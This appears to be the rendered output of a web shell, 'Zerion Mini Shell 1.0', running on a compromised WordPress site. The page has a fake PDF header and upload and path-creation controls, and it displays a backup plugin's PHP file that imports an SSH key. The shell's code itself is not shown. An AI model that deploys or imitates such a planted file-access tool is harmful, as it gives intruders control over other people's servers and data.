%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/jugement/wp-content/plugins/backup-guard-platinum/public/ajax/
Upload File :
Create Path :
Current File : /home/emergentqj/jugement/wp-content/plugins/backup-guard-platinum/public/ajax/importKeyFile.php

<?php
require_once(dirname(__FILE__).'/../boot.php');
require_once(SG_BACKUP_PATH.'SGBackup.php');

$error = array();
$success = array('success'=>1);
try {
	SGBackup::importKeyFile(@$_FILES['sg-ssh-key-file']);
}
catch (SGException $exception) {
	array_push($error, $exception->getMessage());
	die(json_encode($error));
}
die(json_encode($success));

Zerion Mini Shell 1.0